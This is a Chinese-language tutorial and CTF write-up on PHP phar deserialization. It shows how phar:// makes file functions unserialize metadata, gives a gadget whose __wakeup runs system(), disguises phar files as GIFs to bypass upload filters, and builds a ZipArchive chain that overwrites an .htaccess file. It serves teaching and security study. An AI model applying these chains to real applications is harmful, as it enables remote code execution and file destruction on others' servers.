php phar反序列化任意执行代码
2018年
原理
一。关于流包装stream wrapper
大多数的文件操作允许使用各种URL协议去访问文件路径,如data://,zlib://,php://
例如常见的有
include('php://filter/read=convert.base64-encode/resource=index.php')
include('data://text/plain;base64,xxxxx')
phar://也是流包装的一种
二。phar原理
①
phar是一种压缩文件,其中每个被压缩文件的权限、属性信息都放在这部分。并且这部分
以序列化的形式存储用于自定义的meta-data。
②
对于phar文件的stub,可以理解为一个标志,他的格式是固定的
……<?php ……; __HALT_COMPILER();?>
也就是必须要__HALT_COMPILER();结尾才可以,否则无法识别
③
如果要生成phar文件就必须要将php.ini中的phar.readonly设置为off
④
在一些文件函数通过phar://伪协议解析phar文件时都会将meta-data反序列化。
受影响的函数有
fileatime filectime filemtime file_exists file_get_contents file_put_contents
file filegroup fopen fileinode fileowner fileperms
is_dir is_file is_link is_executable is_readable is_writeable
is_wirtble parse_ini_file copy unlink stat readfile
finfo_file
三。激发条件拓展
①php://filter/read=convert.base64-encode/resource=./1.phar
②compress.bzip2://phar:///tmp/test.phar
③压缩包
$zip=new ZipArchive();
$res=$zip->open('test.zip');
$zip->extractTo('phar//test.phar');
④数据库
$pdo = new PDO(sprintf("pgsql:host=%s;dbname=%s;user=%s;password=%s", "127.0.0.1", "postgres", "sx", "123456"));
@$pdo->pgsqlCopyFromFile('aa', 'phar://test.phar/aa');
⑤LOAD DATA LOCAL INFILE
<?php
class A {
public $s = '';
public function __wakeup () {
system($this->s);
}
}
$m = mysqli_init();
mysqli_options($m, MYSQLI_OPT_LOCAL_INFILE, true);
$s = mysqli_real_connect($m, 'localhost', 'root', '123456', 'easyweb', 3306);
$p = mysqli_query($m, 'LOAD DATA LOCAL INFILE \'phar://test.phar/test\' INTO TABLE a LINES TERMINATED BY \'\r\n\' IGNORE 1 LINES;');
四。利用方式扩展(文章最后进行详细介绍)
①SoapClient,php自带类,能够进行SSRF
②ZipArchive,php自带类(可能需要下载扩展),
ZipArchive::open(filename,ZIPARCHIVE::OVERWRITE) //可以对文件覆盖
Demo
一。简单的小实验
<?php
class TestObject {
}
$phar = new Phar("phar.phar"); //后缀名必须为phar,压缩后的文件名
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
$o = new TestObject();
$o -> data='hu3sky';
$phar->setMetadata($o); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //test为内容test.txt为要压缩的文件(可以不存在)
//签名自动计算
$phar->stopBuffering();
?>
运行后会生成一个phar.phar文件在当前目录下,用winhex查看内容
发现meta-data以序列化形式存储,在文件操作函数会自动进行反序列化
那么假如在这样一个php代码文件中include使用
<?php
class TestObject{
function __destruct()
{
echo $this -> data;
}
}
include('phar://phar.phar');
?>
结果
hu3sky
可见在之前压缩的phar文件代码
$o = new TestObject();
$o -> data='hu3sky';
被顺利的执行
总结:要实现phar反序列化攻击有几个条件
①有一个类有__destruct魔术方法作为跳板
②有file_exsits()等函数,且函数内容可控
③没有过滤phar://内容
二。拓展:将phar文件伪造成其他格式文件
由原理可知php是通过识别phar文件的文件头stub来判断,确切来说是对于
__HALT_COMPILER(); ,而对于前面内容和后缀名没有要求,那么只要在前面
加上任意文件头+修改后缀名就可以将phar文件伪装成其他格式文件。
<?php
class TestObject {
}
$phar = new Phar("phar.phar"); //后缀名必须为phar,压缩后的文件名
$phar->startBuffering();
$phar->setStub('GIF89a'."<?php __HALT_COMPILER(); ?>"); //前面插入gif文件头进行伪装
$o = new TestObject();
$o -> data='hu3sky';
$phar->setMetadata($o);
$phar->addFromString("test.txt", "test");
$phar->stopBuffering();
?>
这样php就会将其识别为gif文件,就可以绕过一些上传检测。
--------------------------------------------------------------------------------------
ZipArchive实现文件覆盖
假如一个类的一个方法:
class Profile{
function __call($name, $arguments)
{
$this->admin->open($this->username, $this->password);
}
}
再看ZipArchive的open方法
ZipArchive::open(filename,OVERWRIDE) //对文件进行覆写
利用(这里的File类是bytectf里一个题目定义的类,拿来做跳板,本身并没有进行操作):
class File{
public $checker;
}
class Profile{
public $username;
public $password;
public $admin;
function __call($name, $arguments){
$this->admin->open($this->username, $this->password);
}
}
$o=new File();
$o->checker=new Profile();
$o->checker->admin=new ZipArchive(); //因为这个类在Profile不存在所以触发__call方法
$o->checker->username="./sandbox/f528764d624db129b32c21fbca0cb8d6/.htaccess"
$o->checker->password=ZipArchive:OVERRIDE //注意这里是调用方法
//这里实际上换到Profile类就是:Profile->ZipArchive->open("path","ZipArchive::OVERWRITE") $phar = new Phar("phar.phar"); //后缀名必须为phar,压缩后的文件名
$phar->startBuffering();
$phar->setStub('GIF89a'."<?php __HALT_COMPILER(); ?>"); //前面插入gif文件头进行伪装
$phar->setMetadata($o);
$phar->addFromString("test.txt", "test");
$phar->stopBuffering();
//生成phar文件
注意:关于上面的__call触发条件,经过个人实验发现:
如果直接进行输入的话并不能触发,以上面为例,例如(不会触发)
$o=new Profile();
$o->admin=new ZipArchive();
$o->username='test.txt';
$o->password=ZipArchive::OVERWRITE;
如果先从一个类的一个变量再跳到另一个类,跳到的类__call方法就会触发,例如(能触发)
$o=new File();
$o->checker=new Profile();
$o->checker->admin=new ZipArchive();
$o->checker->username='test.txt';
$o->checker->password=ZipArchive::OVERWRITE;
而关于__destruct魔术方法是可以直接触发的
php phar反序列化任意执行代码的更多相关文章
- Jenkins Java 反序列化远程执行代码漏洞(CVE-2017-1000353)
Jenkins Java 反序列化远程执行代码漏洞(CVE-2017-1000353) 一.漏洞描述 该漏洞存在于使用HTTP协议的双向通信通道的具体实现代码中,jenkins利用此通道来接收命令,恶 ...
- 利用phar实行php反序列化命令执行(测试环境复现)
测试环境的过程大概是:构成出来的phar文件,并修改为任意后缀上传至服务器.通过index.php中存在的文件操作函数参数可控,把参数设置为 phar://上传文件名 即可导致命令执行. index. ...
- Node.js 反序列化漏洞远程执行代码(CVE-2017-5941)
2.1 摘要 2.1.1 漏洞介绍 漏洞名称: Exploiting Node.js deserialization bug for Remote Code Execution 漏洞CVE id: C ...
- 利用phar实行php反序列化命令执行漏洞复现
利用phar实行php反序列化命令执行(测试环境复现) 前言 一般说到反序列化漏洞,第一反应都是unserialize()函数.然而安全研究员Sam Thomas分享了议题”It’s a PHP un ...
- WordPress Woopra Analytics插件‘ofc_upload_image.php’任意PHP代码执行漏洞
漏洞名称: WordPress Woopra Analytics插件‘ofc_upload_image.php’任意PHP代码执行漏洞 CNNVD编号: CNNVD-201310-195 发布时间: ...
- 突破XSS字符限制执行任意JS代码
突破XSS字符限制执行任意JS代码 一.综述 有些XSS漏洞由于字符数量有限制而没法有效的利用,只能弹出一个对话框来YY,本文主要讨论如何突破字符数量的限制进行有效的利用,这里对有效利用的定义是可以不 ...
- 初识phar反序列化&&复现bytectf_2019_easycms&&RSS思路
概要 来自Secarma的安全研究员Sam Thomas发现了一种新的漏洞利用方式,可以在不使用php函数unserialize()的前提下,引起严重的php对象注入漏洞.这个新的攻击方式被他公开在了 ...
- 关于phar反序列化——BUUCTF-[CISCN2019 华北赛区 Day1 Web1]Dropbox
太难了QAQ 先看看phar是啥https://blog.csdn.net/u011474028/article/details/54973571 简单的说,phar就是php的压缩文件,它可以把多个 ...
- phar 反序列化学习
前言 phar 是 php 支持的一种伪协议, 在一些文件处理函数的路径参数中使用的话就会触发反序列操作. 利用条件 phar 文件要能够上传到服务器端. 要有可用的魔术方法作为"跳板&qu ...
随机推荐
- 【转】How to create a test plan
What is a Test Plan? A TEST PLAN is a detailed document that describes the test strategy, objectives ...
- day2-2循环语句
ECMAScript不存在块级作用域,在循环内部定义的变量也可以在外部访问到 局部变量与全局变量: 1) 使用var操作符定义的变量将成为定义该变量的作用域中的局部变量. 2) 如果在函数中定义变量没 ...
- VM安装linux操作系统详细教程
1.首先我们新建一个虚拟机,先不安装操作系统,稍后再对其安装Linux系统. 新建虚拟机步骤如下: 打开VMware软件,菜单栏点击“文件(F)”–>选择“新建虚拟机(N)”,如下图1,(或者直 ...
- SpringBoot之数据访问和事务-专题三
SpringBoot之数据访问和事务-专题三 四.数据访问 4.1.springboot整合使用JdbcTemplate 4.1.1 pom文件引入 <parent> <groupI ...
- js中数值各进制之间的转换
十进制转换为二进制 toString()方法可把一个 Number 对象转换为一个字符串,并返回结果.语法如下: NumberObject.toString(radix); 其中,radix为可选.规 ...
- 访问docker desktop创建的Hyper-v虚拟机DockerDesktopVM
平常我们部署kubernetes ,一般都是先安装个linux操作系统,不管是centos或者ubuntu或者其他,都是我们手工操作的.安装好的这个操作系统都开启了SSH,能够远程登录访问. 但是do ...
- SRSniffer抓包工具的使用
1.打开SRSniffer软件 2.按照1-->2-->3依次点击 3.点击左侧的启动监听按钮 4.打开要记录api的软件,查看效果
- SpringBoot--⼯具表达式对象
⼯具表达式对象除了这些基本的对象之外,Thymeleaf将为我们提供⼀组⼯具对象,这些对象将帮助我们在表达式中执⾏常⻅任务.#execInfo:有关正在处理的模板的信息.#messages:⽤于在变量 ...
- CSS - 插入图片img和背景图片
1. img插入图片,用的最多,比如产品展示类 .section img { width: 200px;/* 插入图片更改大小 width 和 height */ height: 210px; mar ...
- ISAP 算法
Dinic 算法其实已经足够处理大多数的网络流了,但还不够快.接下来介绍的是最优秀的增广路最大流算法:ISAP(Improve Shortest Argumenting Path).它的时间复杂度上界 ...